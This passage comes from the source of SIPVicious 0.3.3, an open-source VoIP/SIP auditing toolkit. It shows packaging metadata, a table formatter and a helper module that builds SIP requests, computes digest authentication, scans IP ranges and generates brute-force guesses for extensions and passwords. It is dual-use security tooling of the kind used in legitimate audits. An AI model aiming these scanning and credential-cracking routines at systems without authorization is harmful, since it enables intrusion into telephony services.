"https://github.com/EnableSecurity/sipvicious/tree/master", }, download_url=f'https://github.com/EnableSecurity/sipvicious/archive/v{__version__}.zip', packages=find_packages(), data_files = [("man/man1", [ "man1/svcrack.1", "man1/svcrash.1", "man1/svmap.1", "man1/svreport.1", "man1/svwar.1", ]) ], entry_points={ 'console_scripts': [ 'sipvicious_svmap = sipvicious.svmap:main', 'sipvicious_svwar = sipvicious.svwar:main', 'sipvicious_svcrack = sipvicious.svcrack:main', 'sipvicious_svreport = sipvicious.svreport:main', 'sipvicious_svcrash = sipvicious.svcrash:main', ] }, classifiers=[ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: System Administrators', 'Intended Audience :: Information Technology', 'Topic :: Internet', 'Topic :: Security', 'Topic :: System :: Networking', 'Topic :: Communications :: Telephony', 'Topic :: Communications :: Internet Phone', 'License :: OSI Approved :: GNU General Public License (GPL)', 'Programming Language :: Python :: 3', 'Operating System :: OS Independent' ], keywords='telephony sip audit scanner voip', python_requires='>=3.6', ) sipvicious-0.3.3/sipvicious/000077500000000000000000000000001402607555200161155ustar00rootroot00000000000000sipvicious-0.3.3/sipvicious/__init__.py000066400000000000000000000000001402607555200202140ustar00rootroot00000000000000sipvicious-0.3.3/sipvicious/libs/000077500000000000000000000000001402607555200170465ustar00rootroot00000000000000sipvicious-0.3.3/sipvicious/libs/__init__.py000066400000000000000000000000001402607555200211450ustar00rootroot00000000000000sipvicious-0.3.3/sipvicious/libs/pptable.py000066400000000000000000000140731402607555200210540ustar00rootroot00000000000000#!/usr/bin/env python3 # License: MIT License # Original Code: github.com/nschloe/termtables # Modified during porting of sipvicious from py2 to py3 import re from collections.abc import Sequence style = '-|++++++++++=++' def _create_padding_tuple(padding): # self._padding is a 4-tuple: top, right, bottom, left (just like CSS) if isinstance(padding, int): out = (padding, padding, padding, padding) else: if len(padding) == 1: out = (padding[0], padding[0], padding[0], padding[0]) elif len(padding) == 2: out = (padding[0], padding[1], padding[0], padding[1]) elif len(padding) == 3: out = (padding[0], padding[1], padding[2], padding[1]) else: assert len(padding) == 4 out = (padding[0], padding[1], padding[2], padding[3]) return out def _create_alignment(alignment, num_columns): if len(alignment) == 1: alignment = num_columns * alignment assert len(alignment) == num_columns return alignment def _remove_escape_sequences(string): # https://stackoverflow.com/a/14693789/353337 ansi_escape = re.compile(r"\x1B[@-_][0-?]*[ -/]*[@-~]") return ansi_escape.sub("", string) def _get_column_widths(strings, num_columns): widths = num_columns * [0] for block in strings: for row in block: for j, item in enumerate(row): widths[j] = max(widths[j], len(_remove_escape_sequences(item))) return widths def _align(strings, alignments, column_widths): for block in strings: for row in block: for k, (item, align, cw) in enumerate(zip(row, alignments, column_widths)): rest = cw - len(_remove_escape_sequences(item)) if rest == 0: # row[k] = item[:cw] row[k] = item else: assert rest > 0 if align == "l": left = 0 elif align == "r": left = rest else: assert align == "c" left = rest // 2 right = rest - left row[k] = " " * left + item + " " * right return strings def _add_padding(strings, column_widths, padding): for block in strings: for row in block: for k, (item, cw) in enumerate(zip(row, column_widths)): cw += padding[1] + padding[3] s = [] for _ in range(padding[0]): s += [" " * cw] s += [" " * padding[3] + item + " " * padding[1]] for _ in range(padding[2]): s += [" " * cw] row[k] = "\n".join(s) return strings def _seq_but_not_str(obj): return isinstance(obj, Sequence) and not isinstance(obj, (str, bytes, bytearray)) def _get_depth(l): if _seq_but_not_str(l): return 1 + max(_get_depth(item) for item in l) return 0 def _hjoin_multiline(join_char, strings): """Horizontal join of multiline strings """ cstrings = [string.split("\n") for string in strings] max_num_lines = max(len(item) for item in cstrings) pp = [] for k in range(max_num_lines): p = [cstring[k] for cstring in cstrings] pp.append(join_char + join_char.join(p) + join_char) return "\n".join([p.rstrip() for p in pp]) def to_string( data, header=None, alignment="l", padding=(0, 1), style=style ): if len(data) == 0: return "no results" try: depth = len(data.shape) except AttributeError: depth = _get_depth(data) if depth == 2: data = [data] else: assert depth == 3 if header: data = [[header]] + data # Make sure the data is consistent num_columns = len(data[0][0]) for block in data: for row in block: assert len(row) == num_columns padding = _create_padding_tuple(padding) alignments = _create_alignment(alignment, num_columns) if style is None: border_chars, block_sep_chars = None, None else: if len(style) == 11: border_chars = style block_sep_chars = [ border_chars[6], border_chars[0], border_chars[10], border_chars[7], ] else: assert len(style) == 15 border_chars = style[:11] block_sep_chars = style[11:] strings = [[[str(item) for item in row] for row in block] for block in data] column_widths = _get_column_widths(strings, num_columns) column_widths_with_padding = [c + padding[1] + padding[3] for c in column_widths] # add spaces according to alignment strings = _align(strings, alignments, column_widths) # add spaces according to padding strings = _add_padding(strings, column_widths, padding) # Join `strings` from the innermost to the outermost index. join_char = border_chars[1] if border_chars else "" for block in strings: for k, row in enumerate(block): block[k] = _hjoin_multiline(join_char, row) if border_chars: bc = border_chars cwp = column_widths_with_padding intermediate_border_row = ( "\n" + bc[6] + bc[10].join([s * bc[0] for s in cwp]) + bc[7] + "\n" ) else: intermediate_border_row = "\n" for k, block in enumerate(strings): strings[k] = intermediate_border_row.join(block) if block_sep_chars: bs = block_sep_chars block_sep_row = ( "\n" + bs[0] + bs[2].join([s * bs[1] for s in cwp]) + bs[3] + "\n" ) else: block_sep_row = "\n" strings = block_sep_row.join(strings) if border_chars: bc = border_chars first_border_row = bc[2] + bc[8].join([s * bc[0] for s in cwp]) + bc[3] + "\n" last_border_row = "\n" + bc[4] + bc[9].join([s * bc[0] for s in cwp]) + bc[5] else: first_border_row = "" last_border_row = "" out = first_border_row + strings + last_border_row return out sipvicious-0.3.3/sipvicious/libs/svhelper.py000066400000000000000000001117521402607555200212570ustar00rootroot00000000000000#!/usr/bin/env python3 # -*- coding: utf-8 -*- # Helper.py keeps the rest of the tools clean - part of SIPVicious tools # Copyright (C) 2007-2021 Sandro Gauci # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . __author__ = "Sandro Gauci " __version__ = '0.3.3' import re import sys import uuid import os import dbm import socket import random import struct import shutil import logging from random import getrandbits from urllib.request import urlopen from urllib.error import URLError from urllib.parse import urlencode from binascii import Error as b2aerr from .pptable import to_string from binascii import b2a_hex, a2b_hex, hexlify if sys.hexversion < 0x03060000: sys.stderr.write( "Please update to python 3.6 or greater to run SIPVicious\r\n") sys.exit(1) def standardoptions(parser): parser.add_option('-v', '--verbose', dest="verbose", action="count", help="Increase verbosity") parser.add_option('-q', '--quiet', dest="quiet", action="store_true", default=False, help="Quiet mode") parser.add_option("-P", "--localport", dest="localport", default=5060, type="int", help="Source port for our packets", metavar="PORT") parser.add_option("-x", "--externalip", dest="externalip", help="IP Address to use as the external ip. Specify this if you have multiple interfaces or if you are behind NAT", metavar="IP") parser.add_option("-b", "--bindingip", dest="bindingip", default='', help="By default we bind to all interfaces. This option overrides that and binds to the specified ip address") parser.add_option("-t", "--timeout", dest="selecttime", type="float", default=0.005, help="This option allows you to trottle the speed at which packets are sent. Change this if you're losing packets. For example try 0.5.", metavar="SELECTTIME") parser.add_option("-R", "--reportback", dest="reportBack", default=False, action="store_true", help="Send the author an exception traceback. Currently sends the command line parameters and the traceback", ) parser.add_option("-A", "--autogetip", dest="autogetip", default=False, action="store_true", help="Automatically get the current IP address. This is useful when you are not getting any responses back due to SIPVicious not resolving your local IP.") return parser def standardscanneroptions(parser): parser.add_option("-s", "--save", dest="save", metavar="NAME", help="save the session. Has the benefit of allowing you to resume a previous scan and allows you to export scans") parser.add_option("--resume", dest="resume", help="resume a previous scan", metavar="NAME") parser.add_option("-c", "--enablecompact", dest="enablecompact", default=False, action="store_true", help="enable compact mode. Makes packets smaller but possibly less compatible") return parser def calcloglevel(options): logginglevel = 30 if options.verbose is not None: if options.verbose >= 3: logginglevel = 10 else: logginglevel = 30 - (options.verbose * 10) if options.quiet: logginglevel = 50 return logginglevel def bindto(bindingip, startport, s): log = logging.getLogger('bindto') localport = startport log.debug("binding to %s:%s" % (bindingip, localport)) while 1: if localport > 65535: log.critical("Could not bind to any port") return try: s.bind((bindingip, localport)) break except socket.error: log.debug("could not bind to %s" % localport) localport += 1 if startport != localport: log.warn("could not bind to %s:%s - some process might already be listening on this port. Listening on port %s instead" % (bindingip, startport, localport)) log.info("Make use of the -P option to specify a port to bind to yourself") return localport, s def getRange(rangestr): _tmp1 = rangestr.split(',') numericrange = list() for _tmp2 in _tmp1: _tmp3 = _tmp2.split('-', 1) if len(_tmp3) > 1: if not (_tmp3[0].isdigit() or _tmp3[1].isdigit()): raise ValueError("the ranges need to be digits") startport, endport = list(map(int, [_tmp3[0], _tmp3[1]])) endport += 1 numericrange.append(range(startport, endport)) else: if not _tmp3[0].isdigit(): raise ValueError("the ranges need to be digits") singleport = int(_tmp3[0]) numericrange.append(anotherxrange(singleport, singleport + 1)) return numericrange def numericbrute(rangelist, zeropadding=0, template=None, defaults=False, staticbrute=[]): """numericbrute gives a yield generator. accepts either zeropadding or template as optional argument""" for statictry in staticbrute: yield(statictry) if defaults: for i in range(1000, 9999, 100): yield('%04i' % i) for i in range(1001, 9999, 100): yield('%04i' % i) for i in range(0, 9): for l in range(1, 8): yield(('%s' % i) * l) for i in range(100, 999): yield('%s' % i) for i in range(10000, 99999, 100): yield('%04i' % i) for i in range(10001, 99999, 100): yield('%04i' % i) for i in ['1234', '2345', '3456', '4567', '5678', '6789', '7890', '0123']: yield(i) for i in ['12345', '23456', '34567', '45678', '56789', '67890', '01234']: yield(i) if zeropadding > 0: format = '%%0%su' % zeropadding elif template is not None: format = template else: format = '%u' # format string test format % 1 for x in rangelist: for y in x: r = format % y yield(r) def dictionaryattack(dictionaryfile): while 1: r = dictionaryfile.readline() if len(r) == 0: break yield(r.strip()) dictionaryfile.flush() dictionaryfile.close() class genericbrute: pass def getNonce(pkt): nonceRE = 'nonce="(.+?)"' _tmp = re.findall(nonceRE, pkt) if _tmp is not None: if len(_tmp) > 0: return(_tmp[0]) return None def getOpaque(pkt): nonceRE = 'opaque="(.+?)"' _tmp = re.findall(nonceRE, pkt) if _tmp is not None: if len(_tmp) > 0: return(_tmp[0]) return None def getAlgorithm(pkt): nonceRE = 'algorithm=(.+?)[,\r]' _tmp = re.findall(nonceRE, pkt) if _tmp is not None: if len(_tmp) > 0: return(_tmp[0].lower()) return None def getQop(pkt): nonceRE = 'qop="(.+?)"' _tmp = re.findall(nonceRE, pkt) if _tmp is not None: if len(_tmp) > 0: return(_tmp[0]) return None def getRealm(pkt): nonceRE = 'realm="(.+?)"' _tmp = re.findall(nonceRE, pkt) if _tmp is not None: if len(_tmp) > 0: return(_tmp[0]) return None def getCID(pkt): cidRE = 'Call-ID: ([:a-zA-Z0-9]+)' _tmp = re.findall(cidRE, pkt, re.I) if _tmp is not None: if len(_tmp) > 0: return(_tmp[0]) return None def mysendto(sock, data, dst): while data: # SIP RFC states the default serialized encoding is utf-8 bytes_sent = sock.sendto(bytes(data[:8192], 'utf-8'), dst) data = data[bytes_sent:] def parseSDP(buff): r = dict() for line in buff.splitlines(): _tmp = line.split('=', 1) if len(_tmp) == 2: k, v = _tmp if k not in r: r[k] = list() r[k].append(v) return r def getAudioPort(sdp): if 'm' in sdp: for media in sdp['m']: if media.startswith('audio'): mediasplit = media.split() if len(mediasplit) > 2: port = mediasplit[1] return port def getAudioIP(sdp): if 'c' in sdp: for connect in sdp['c']: if connect.startswith('IN IP4'): connectsplit = connect.split() if len(connectsplit) > 2: ip = connectsplit[2] return ip def getSDP(buff): sip = parseHeader(buff) if 'body' in sip: body = sip['body'] sdp = parseSDP(body) return sdp def getAudioIPFromBuff(buff): sdp = getSDP(buff) if sdp is not None: return getAudioIP(sdp) def getAudioPortFromBuff(buff): sdp = getSDP(buff) if sdp is not None: return getAudioPort(sdp) def parseHeader(buff, type='response'): SEP = '\r\n\r\n' HeadersSEP = '\r*\n(?![\t\x20])' log = logging.getLogger('parseHeader') if SEP in buff: header, body = buff.split(SEP, 1) else: header = buff body = '' headerlines = re.split(HeadersSEP, header) if len(headerlines) > 1: r = dict() if type == 'response': _t = headerlines[0].split(' ', 2) if len(_t) == 3: _, _code, _ = _t else: log.warn('Could not parse the first header line: %s' % _t.__repr__()) return r try: r['code'] = int(_code) except ValueError: return r elif type == 'request': _t = headerlines[0].split(' ', 2) #if len(_t) == 3: # method, uri, sipversion = _t else: log.warn('Could not parse the first header line: %s' % headerlines[0]) return r r['headers'] = dict() for headerline in headerlines[1:]: SEP = ':' if SEP in headerline: tmpname, tmpval = headerline.split(SEP, 1) name = tmpname.lower().strip() val = list(map(lambda x: x.strip(), tmpval.split(','))) else: name, val = headerline.lower(), None r['headers'][name] = val r['body'] = body return r def fingerPrint(request, src=None, dst=None): # work needs to be done here server = dict() if 'headers' in request: header = request['headers'] if (src is not None) and (dst is not None): server['ip'] = src[0] server['srcport'] = src[1] if server['srcport'] == dst[1]: server['behindnat'] = False else: server['behindnat'] = True if 'user-agent' in header: server['name'] = header['user-agent'] server['uatype'] = 'uac' if 'server' in header: server['name'] = header['server'] server['uatype'] = 'uas' if 'contact' in header: m = re.match('', header['contact'][0]) if m: server['contactip'] = m.group(1) if 'supported' in header: server['supported'] = header['supported'] if 'accept-language' in header: server['accept-language'] = header['accept-language'] if 'allow-events' in header: server['allow-events'] = header['allow-events'] if 'allow' in header: server['allow'] = header['allow'] return server def fingerPrintPacket(buff, src=None): header = parseHeader(buff) if header is not None: return fingerPrint(header, src) def getCredentials(buff): data = getTag(buff) if data is None: return userpass = data.split(b':') if len(userpass) > 0: return(userpass) def getTag(buff): tagRE = r'(From|f): .*?\;\s*tag=([=+/\.:a-zA-Z0-9_]+)' _tmp = re.findall(tagRE, buff) if _tmp is not None: if len(_tmp) > 0: _tmp2 = _tmp[0][1] try: _tmp2 = a2b_hex(_tmp2.strip()) except (TypeError, b2aerr): return if _tmp2.find(b'\x01') > 0: try: c, _ = _tmp2.split(b'\x01') except ValueError: c = 'svcrash detected' else: c = _tmp2 return c def createTag(data): rnd = getrandbits(32) return b2a_hex(str(data).encode('utf-8') + b'\x01' + str(rnd).encode('utf-8')) def getToTag(buff): tagRE = r'(To|t): .*?\;\s*tag=([=+/\.:a-zA-Z0-9_]+)' _tmp = re.findall(tagRE, buff) if _tmp is not None: if len(_tmp) > 0: _tmp2 = _tmp[0][1] return _tmp2 return def challengeResponse(auth, method, uri): from hashlib import md5 username = auth["username"] realm = auth["realm"] passwd = auth["password"] nonce = auth["nonce"] opaque = auth["opaque"] algorithm = auth["algorithm"] cnonce = "" qop = None if auth["qop"] != None: qop = auth["qop"].split(',')[0] result = 'Digest username="%s",realm="%s",nonce="%s",uri="%s"' % ( username, realm, nonce, uri) if algorithm == "md5-sess" or qop == "auth": cnonce = uuid.uuid4().hex nonceCount = "%08d" % auth["noncecount"] result += ',cnonce="%s",nc=%s' % (cnonce, nonceCount) if algorithm is None or algorithm == "md5": ha1 = md5(('%s:%s:%s' % (username, realm, passwd)).encode('utf-8')).hexdigest() result += ',algorithm=MD5' elif auth["algorithm"] == "md5-sess": ha1 = md5((md5(('%s:%s:%s' % (username, realm, passwd)).encode('utf-8') ).hexdigest() + ":" + nonce + ":" + cnonce).encode('utf-8')).hexdigest() result += ',algorithm=MD5-sess' else: print("Unknown algorithm: %s" % auth["algorithm"]) if qop is None or qop == "auth": ha2 = md5(('%s:%s' % (method, uri)).encode('utf-8')).hexdigest() result += ',qop=auth' if qop == "auth-int": print("auth-int is not supported") if qop == "auth": res = md5((ha1 + ":" + nonce + ":" + nonceCount + ":" + cnonce + ":" + qop + ":" + ha2).encode('utf-8')).hexdigest() else: res = md5(('%s:%s:%s' % (ha1, nonce, ha2)).encode('utf-8')).hexdigest() result += ',response="%s"' % res if opaque is not None and opaque != "": result += ',opaque="%s"' % opaque return result def makeRedirect(previousHeaders, rediraddr): response = 'SIP/2.0 301 Moved Permanently\r\n' superheaders = dict() headers = dict() superheaders['Via'] = ' '.join(previousHeaders['headers']['via']) headers['Contact'] = '<%s>' % (rediraddr) headers['To'] = ' '.join(previousHeaders['headers']['to']) headers['From'] = ' '.join(previousHeaders['headers']['from']) headers['Call-ID'] = ' '.join(previousHeaders['headers']['call-id']) headers['CSeq'] = ' '.join(previousHeaders['headers']['cseq']) r = response for h in superheaders.items(): r += '%s: %s\r\n' % h for h in headers.items(): r += '%s: %s\r\n' % h r += '\r\n' return(r) def makeRequest(method, fromaddr, toaddr, dsthost, port, callid, srchost='', branchunique=None, cseq=1, auth=None, localtag=None, compact=False, contact='sip:123@1.1.1.1', accept='application/sdp', contentlength=None, localport=5060, extension=None, contenttype=None, body='', useragent='friendly-scanner', requesturi=None): """makeRequest builds up a SIP request method - OPTIONS / INVITE etc toaddr = to address dsthost = destination host port = destination port callid = callerid srchost = source host """ if extension is None or method == 'REGISTER': uri = 'sip:%s' % dsthost else: uri = 'sip:%s@%s' % (extension, dsthost) if branchunique is None: branchunique = '%s' % random.getrandbits(32) headers = dict() finalheaders = dict() superheaders = dict() if method == 'ACK': localtag = None if compact: superheaders[ 'v'] = 'SIP/2.0/UDP %s:%s;branch=z9hG4bK-%s;rport' % (srchost, port, branchunique) headers['t'] = toaddr headers['f'] = fromaddr if localtag is not None: headers['f'] += ';tag=%s' % localtag.decode('utf-8', 'ignore') headers['i'] = callid # if contact is not None: headers['m'] = contact else: superheaders[ 'Via'] = 'SIP/2.0/UDP %s:%s;branch=z9hG4bK-%s;rport' % (srchost, localport, branchunique) headers['Max-Forwards'] = 70 headers['To'] = toaddr headers['From'] = fromaddr headers['User-Agent'] = useragent if localtag is not None: headers['From'] += ';tag=%s' % localtag.decode('utf-8', 'ignore') headers['Call-ID'] = callid # if contact is not None: headers['Contact'] = contact headers['CSeq'] = '%s %s' % (cseq, method) headers['Max-Forwards'] = 70 headers['Accept'] = accept if contentlength is None: headers['Content-Length'] = len(body) else: headers['Content-Length'] = contentlength if contenttype is None and len(body) > 0: contenttype = 'application/sdp' if contenttype is not None: headers['Content-Type'] = contenttype if auth is not None: response = challengeResponse(auth, method, uri) if auth['proxy']: finalheaders['Proxy-Authorization'] = response else: finalheaders['Authorization'] = response r = '%s %s SIP/2.0\r\n' % (method, uri) if requesturi is not None: r = '%s %s SIP/2.0\r\n' % (method, requesturi) for h in superheaders.items(): r += '%s: %s\r\n' % h for h in headers.items(): r += '%s: %s\r\n' % h for h in finalheaders.items(): r += '%s: %s\r\n' % h r += '\r\n' r += body return(r) def reportBugToAuthor(trace): log = logging.getLogger('reportBugToAuthor') data = str() data += "Command line parameters:\r\n" data += str(sys.argv) data += '\r\n' data += 'version: %s' % __version__ data += '\r\n' data += 'email: <%s>' % input("Your email address (optional): ") data += '\r\n' data += 'msg: %s' % input("Extra details (optional): ") data += '\r\n' data += "python version: \r\n" data += "%s\r\n" % sys.version data += "osname: %s" % os.name data += '\r\n' if os.name == 'posix': data += "uname: %s" % str(os.uname()) data += '\r\n' data += '\r\n\r\n' data += "Trace:\r\n" data += str(trace) try: urlopen('https://comms.enablesecurity.com/hello.php', urlencode({'message': data}).encode('utf-8')) log.warn('Thanks for the bug report! We will be working on it soon') except URLError as err: log.error(err) log.warn('Make sure you are running the latest version of SIPVicious \ by running "git pull" in the current directory') def scanlist(iprange, portranges, methods): for ip in iter(iprange): for portrange in portranges: for port in portrange: for method in methods: yield(ip, port, method) def scanrandom(ipranges, portranges, methods, resume=None, randomstore='.sipvicious_random'): # if the ipranges intersect then we go infinate .. we prevent that # example: 127.0.0.1 127.0.0.1/24 log = logging.getLogger('scanrandom') mode = 'n' if resume: mode = 'c' database = dbm.open(os.path.join( os.path.expanduser('~'), randomstore), mode) dbsyncs = False try: database.sync() dbsyncs = True except AttributeError: pass ipsleft = 0 for iprange in ipranges: if iprange is None: continue startip, endip = iprange ipsleft += endip - startip + 1 hit = 0 for iprange2 in ipranges: startip2, endip2 = iprange2 if startip <= startip2: if endip2 <= endip: hit += 1 if hit > 1: log.error( 'Cannot use random scan and try to hit the same ip twice') return if resume: ipsleft -= len(database) log.debug('scanning a total of %s ips' % ipsleft) while ipsleft > 0: randomchoice = random.choice(ipranges) #randomchoice = [0,4294967295L] randint = random.randint(*randomchoice) ip = numToDottedQuad(randint) ipfound = False if dbsyncs: if ip not in database: ipfound = True else: if ip not in database.keys(): ipfound = True if ipfound: database[ip] = '' for portrange in portranges: for port in portrange: for method in methods: ipsleft -= 1 yield(ip, port, method) else: log.debug('found dup %s' % ip) def scanfromfile(csv, methods): for row in csv: (dstip, dstport, _, _, _) = row for method in methods: yield(dstip, int(dstport), method) def dottedQuadToNum(ip): "convert decimal dotted quad string to long integer" return struct.unpack('!L', socket.inet_aton(ip))[0] def numToDottedQuad(n): "convert long int to dotted quad string" return socket.inet_ntoa(struct.pack('!L', n)) def colonHexToNum(ip): "convert ipv6 address to long integer" return int(hexlify(socket.inet_pton(socket.AF_INET6, ip)), 16) def ip4range(*args): for arg in args: r = getranges(arg) if r is None: continue startip, endip = r curip = startip while curip <= endip: yield(numToDottedQuad(curip)) curip += 1 def ip6range(*args): for arg in args: if check_ipv6(arg): yield(arg) def getranges(ipstring): log = logging.getLogger('getranges') if re.match( r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}-\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', ipstring ): naddr1, naddr2 = list(map(dottedQuadToNum, ipstring.split('-'))) elif re.match( r'^(\d{1,3}(-\d{1,3})*)\.(\*|\d{1,3}(-\d{1,3})*)\.(\*|\d{1,3}(-\d{1,3})*)\.(\*|\d{1,3}(-\d{1,3})*)$', ipstring ): naddr1, naddr2 = list(map(dottedQuadToNum, getranges2(ipstring))) elif re.match( r'^.*?\/\d{,2}$', ipstring ): r = getmaskranges(ipstring) if r is None: return naddr1, naddr2 = r else: # we attempt to resolve the host try: naddr1 = dottedQuadToNum(socket.gethostbyname(ipstring)) naddr2 = naddr1 except socket.error: log.error('Could not resolve %s' % ipstring) return return((naddr1, naddr2)) def getranges2(ipstring): _tmp = ipstring.split('.') if len(_tmp) != 4: raise ValueError("needs to be a Quad dotted ip") _tmp2 = list(map(lambda x: x.split('-'), _tmp)) startip = list() endip = list() for dot in _tmp2: if dot[0] == '*': startip.append('0') endip.append('255') elif len(dot) == 1: startip.append(dot[0]) endip.append(dot[0]) elif len(dot) == 2: startip.append(dot[0]) endip.append(dot[1]) naddr1 = '.'.join(startip) naddr2 = '.'.join(endip) return(naddr1, naddr2) def getmaskranges(ipstring): log = logging.getLogger('getmaskranges') addr, mask = ipstring.rsplit('/', 1) if not re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', addr): try: log.debug('Could not resolve %s' % addr) addr = socket.gethostbyname(addr) except socket.error: return assert(mask.isdigit()), "invalid IP mask (1)" naddr = dottedQuadToNum(addr) masklen = int(mask) assert(0 <= masklen <= 32), "invalid IP mask (2)" naddr1 = naddr & (((1 << masklen) - 1) << (32 - masklen)) naddr2 = naddr1 + (1 << (32 - masklen)) - 1 return (naddr1, naddr2) def scanfromdb(db, methods): database = dbm.open(db, 'r') for k in database.keys(): for method in methods: ip, port = k.split(':') port = int(port) yield(ip, port, method) def resumeFromIP(ip, args): ipranges = list() foundit = False rargs = list() nip = dottedQuadToNum(ip) for arg in args: if arg is None: continue startip, endip = getranges(arg) if not foundit: if startip <= nip and endip >= nip: ipranges.append((nip, endip)) foundit = True else: ipranges.append((startip, endip)) for iprange in ipranges: rargs.append('-'.join(map(numToDottedQuad, iprange))) return rargs def resumeFrom(val, rangestr): val = int(val) ranges = list(map(lambda x: map(int, x.split('-')), rangestr.split(','))) foundit = False tmp = list() for r in ranges: start, end = r if not foundit: if start <= val and end >= val: tmp.append((val, end)) foundit = True else: tmp.append((start, end)) return ','.join(map(lambda x: '-'.join(map(str, x)), tmp)) def packetcounter(n): i = 0 while 1: if i == n: i = 0 r = True else: i += 1 r = False yield(r) sessiontypes = ['svmap', 'svwar', 'svcrack'] def findsession(chosensessiontype=None): listresult = dict() for sessiontype in sessiontypes: if chosensessiontype in [None, sessiontype]: p = os.path.join(os.path.expanduser( '~'), '.sipvicious', sessiontype) if os.path.exists(p): listresult[sessiontype] = os.listdir(p) return listresult def listsessions(chosensessiontype=None, count=False): listresult = findsession(chosensessiontype) for k in listresult.keys(): print("Type of scan: %s" % k) for r in listresult[k]: sessionstatus = 'Incomplete' sessionpath = os.path.join( os.path.expanduser('~'), '.sipvicious', k, r) dblen = '' if count: if k == 'svmap': dbloc = os.path.join(sessionpath, 'resultua') elif k == 'svwar': dbloc = os.path.join(sessionpath, 'resultauth') elif k == 'svcrack': dbloc = os.path.join(sessionpath, 'resultpasswd') if not os.path.exists(dbloc): logging.debug( 'The database could not be found: %s' % dbloc) else: db = dbm.open(dbloc, 'r') dblen = len(db) if os.path.exists(os.path.join(sessionpath, 'closed')): sessionstatus = 'Complete' print("\t- %s\t\t%s\t\t%s\n" % (r, sessionstatus, dblen)) def deletesessions(chosensession, chosensessiontype): log = logging.getLogger('deletesessions') sessionpath = list() if chosensessiontype is None: for sessiontype in sessiontypes: p = os.path.join(os.path.expanduser( '~'), '.sipvicious', sessiontype, chosensession) if os.path.exists(p): sessionpath.append(p) else: p = os.path.join(os.path.expanduser('~'), '.sipvicious', chosensessiontype, chosensession) if os.path.exists(p): sessionpath.append(p) if len(sessionpath) == 0: return for sp in sessionpath: try: shutil.rmtree(sp) log.info("Session at %s was removed" % sp) except OSError: log.error("Could not delete %s" % sp) return sessionpath def createReverseLookup(src, dst): log = logging.getLogger('createReverseLookup') #srcdb = anydbm.open(src,'r') #dstdb = anydbm.open(dst,'n') srcdb = src dstdb = dst if len(srcdb) > 100: log.warn("Performing dns lookup on %s hosts. To disable reverse ip resolution make use of the -n option" % len(srcdb)) for k in srcdb.keys(): tmp = k.split(b':', 1) if len(tmp) == 2: ajpi, port = tmp try: tmpk = ':'.join([socket.gethostbyaddr(ajpi.decode())[0], port.decode()]) logging.debug('Resolved %s to %s' % (k, tmpk)) dstdb[k] = tmpk except socket.error: logging.info('Could not resolve %s' % k) pass # srcdb.close() # dstdb.close() return dstdb def getasciitable(labels, db, resdb=None, width=60): rows = list() for k in db.keys(): cols = [k.decode(), db[k].decode()] if resdb is not None: if k in resdb: cols.append(resdb[k].decode()) else: cols.append('[not available]') rows.append(cols) o = to_string(rows, header=labels) return o def outputtoxml(title, labels, db, resdb=None, xsl='resources/sv.xsl'): from xml.sax.saxutils import escape o = '\r\n' o += '\r\n' % escape(xsl) o += '\r\n' o += '%s\r\n' % escape(title) o += '\r\n' for label in labels: o += '\r\n' % escape(label) o += '\r\n' o += '\r\n' for k in db.keys(): o += '\r\n' o += '<%s>%s\r\n' % (labels[0].replace( ' ', '').lower(), k, escape(labels[0]).replace(' ', '').lower()) o += '<%s>%s\r\n' % (labels[1].replace( ' ', '').lower(), escape(db[k]), labels[1].replace(' ', '').lower()) if resdb is not None: if k in resdb: o += '<%s>%s\r\n' % (labels[2].replace( ' ', '').lower(), escape(resdb[k]), labels[2].replace(' ', '').lower()) else: o += '<%s>N/A\r\n' % (labels[2].replace( ' ', '').lower(), labels[2].replace(' ', '').lower()) o += '\r\n' o += '\r\n' o += '\r\n' return o def getsessionpath(session, sessiontype): log = logging.getLogger('getsessionpath') sessiontypes = ['svmap', 'svwar', 'svcrack'] sessionpath = None if sessiontype is None: log.debug('sessiontype is not specified') for sessiontype in sessiontypes: p = os.path.join(os.path.expanduser( '~'), '.sipvicious', sessiontype, session) log.debug('trying %s' % p) if os.path.exists(p): log.debug('%s exists') log.debug('sessiontype is %s' % sessiontype) sessionpath = p break else: p = os.path.join(os.path.expanduser( '~'), '.sipvicious', sessiontype, session) if os.path.exists(p): sessionpath = p if sessionpath is None: return return sessionpath, sessiontype def dbexists(name): if os.path.exists(name): return True elif os.path.exists(name + '.db'): return True return False def outputtopdf(outputfile, title, labels, db, resdb): log = logging.getLogger('outputtopdf') try: from reportlab.platypus import TableStyle, Table, SimpleDocTemplate, Paragraph from reportlab.lib import colors from reportlab.lib.styles import getSampleStyleSheet from reportlab.pdfgen import canvas except ImportError: log.error( 'Reportlab was not found. To export to pdf you need to have reportlab installed. Check out www.reportlab.org') return log.debug('ok reportlab library found') styles = getSampleStyleSheet() rows = list() rows.append(labels) for k in db.keys(): cols = [k, db[k]] if resdb is not None: if k in resdb: cols.append(resdb[k]) else: cols.append('N/A') rows.append(cols) t = Table(rows) mytable = TableStyle([('BACKGROUND', (0, 0), (-1, 0), colors.black), ('TEXTCOLOR', (0, 0), (-1, 0), colors.white)]) t.setStyle(mytable) doc = SimpleDocTemplate(outputfile) elements = [] style = styles["Heading1"] Title = Paragraph(title, style) elements.append(Title) elements.append(t) doc.build(elements) class anotherxrange(object): """A pure-python implementation of xrange. Can handle float/long start/stop/step arguments and slice indexing""" __slots__ = ['_slice'] def __init__(self, *args): self._slice = slice(*args) if self._slice.stop is None: # slice(*args) will never put None in stop unless it was # given as None explicitly. raise TypeError("xrange stop must not be None") @property def start(self): if self._slice.start is not None: return self._slice.start return 0 @property def stop(self): return self._slice.stop @property def step(self): if self._slice.step is not None: return self._slice.step return 1 def __hash__(self): return hash(self._slice) # Commented out this due to being redundant #def __cmp__(self, other): # return (cmp(type(self), type(other)) or # cmp(self._slice, other._slice)) def __repr__(self): return '%s(%r, %r, %r)' % (self.__class__.__name__, self.start, self.stop, self.step) def __len__(self): return self._len() def _len(self): return max(0, int((self.stop - self.start) / self.step)) def __getitem__(self, index): if isinstance(index, slice): start, stop, step = index.indices(self._len()) return 